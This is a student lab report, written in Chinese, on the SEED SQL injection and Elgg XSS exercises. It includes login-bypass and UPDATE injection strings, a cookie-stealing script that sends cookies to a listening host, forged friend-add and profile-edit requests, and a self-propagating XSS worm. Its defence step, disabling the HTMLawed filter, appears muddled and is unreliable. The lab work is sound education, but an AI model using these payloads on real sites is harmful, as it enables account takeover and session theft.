20212909 2021-2022-2 《網路攻防實踐》實踐十報告
阿新 • • 發佈:2022-05-17
20212909 2021-2022-2 《網路攻防實踐》實踐十報告
一、實踐內容
- 1.SEED SQL注入攻擊與防禦實驗
我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:
熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
SQL對抗:修復上述SQL注入攻擊漏洞。 - 2.SEED XSS跨站指令碼攻擊實驗(Elgg)
為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。
釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
彈窗顯示cookie資訊:將cookie資訊顯示。
竊取受害者的cookies:將cookie傳送給攻擊者。
成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
編寫XSS蠕蟲。
對抗XSS攻擊。
實踐環境:SEED_UbuntuU 16.04.2 LTS
二、實踐過程
- SEED SQL注入攻擊與防禦實驗
1.輸入命令mysql -u root -p
登入mysql,密碼:seedubuntu。
2.輸入show databases;
檢視所有資料庫。
3.輸入use Users
,使用Users這個庫,輸入show tables
檢視所有的表。
4.輸入select * from credential;
檢視credential這張表的所有內容。
5.輸入select * from credential where Name='Alice';
以name=Alice為條件,檢視Alice的所有資訊
6.開啟瀏覽器,輸入www.SEEDLabSQLInjection.com
可以看到,WEB將資訊傳送到了unsafe_home.php。
7.在瀏覽器介面輸入/var/www/SQLInjection/unsafe_home.php
命令,將檔案儲存下來,開啟檢視原始碼。
發現其關鍵程式碼的sql語句。
8.構造sql語句Admin'#
作為登入名,#代表將後邊的輸入密碼的部分註釋掉,密碼部分為空,登入成功。
9.進入管理介面,將Admin的工資改為12345,同樣的方法,發現在管理介面輸入的引數,傳到了unsafe_edit_backend介面,在瀏覽器輸入/var/www/SQLInjection/unsafe_edit_backend.php
,將檔案儲存至本地,開啟檢視其原始碼。
10.構造sql語句',Salary='12345' where name='Admin';#
,輸入到NickName一欄,儲存,工資修改成功
- SEED XSS跨站指令碼攻擊實驗(Elgg)
- 釋出惡意訊息,顯示警報視窗
1.點選如圖按鈕,進入xss Lab site,登入Alice賬號,密碼:seedalice。
2.如圖順序進入編輯Alice資訊介面,在Brief Description一欄輸入<script>alert("XSS");</script>
,儲存,返回之前的介面2,出現彈窗,攻擊成功。
- 彈窗顯示 cookie 資訊
3.在Brief Description一欄輸入<script>alert(document.cookie);</script>
,儲存,返回之前的介面2,出現cookie資訊彈窗,攻擊成功。
- 竊取受害者的 cookies
4.檢視本機IP地址,在Brief Description一欄輸入<script>document.write('<img src=http://192.168.200.14:5555?c='+escape(document.cookie)+'>');alert("xss success");</script>
,在終端輸入nc -l 5555 -v
命令監聽5555埠,儲存Alice的資訊後,監聽到cookie資訊,攻擊成功。
- 成為受害者的朋友
5.在瀏覽器輸入http://www.xsslabelgg.com/profile/boby
,檢視Boby介面,檢視網頁原始碼,點選Add friend介面,發現資訊發往了http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652732463&__elgg_token=DA14ZydedxoMfoG1CbgYo
構造JS程式碼
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//傳送 Ajax 請求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
在Alice的編輯介面的About me 一欄輸入構造的JS程式碼,注意是Visual editor 介面,儲存。
6.登入Boby賬號,密碼:seedboby。
訪問Alice介面http://www.xsslabelgg.com/profile/alice
,重新整理Boby賬號,發現Boby已自動新增Alice為好友,攻擊成功。
- 修改受害者的資訊
7.檢視編輯Alice資訊介面的原始碼,編輯About me內容,發現訪問了http://www.xsslabelgg.com/action/profile/edit
構造JS程式碼
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
在Alice的編輯介面的About me 一欄輸入構造的JS程式碼,注意是Visual editor 介面,儲存。
8.登入Boby賬號,密碼:seedboby。訪問Alice介面後重新整理,發現Boby的About me 被攻擊成功。
- 編寫XSS蠕蟲
9.登入Alice介面,修改About me 內容,構造JS程式碼
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
在Alice的編輯介面的About me 一欄輸入構造的JS程式碼,注意是Visual editor 介面,儲存。
10.登入Boby賬號,密碼:seedboby。訪問Alice介面後重新整理,發現Boby的About me 被攻擊成功,登入Samy賬號,密碼:seedsamy,訪問Boby頁面http://www.xsslabelgg.com/profile/boby
,重新整理Samy頁面,Samy的About me 內容也被修改,蠕蟲攻擊成功。
- XXS對抗
11.登入Admin賬號,密碼:seedelgg,按如圖順序選擇plugins
,點選HTMLawed
,使它不可用。
12.重新登入Alicez賬號,密碼:seedalice,發現程式碼顯示到了About me,攻擊失效。
三、問題和解決方法
P1:Admin的賬號密碼視訊中沒有。
Solu1:從同學那得知,但不知道他們怎麼知道的。
四、感想
通過本次實驗,學習到了一些SQL注入攻擊與防禦實驗的方法和技巧,以及如何通過Web資訊,構造SEED XSS跨站指令碼來進行攻擊,瞭解了其基本原理,但是想要真正對成熟的Web框架構成攻擊,還是要學習更多的東西。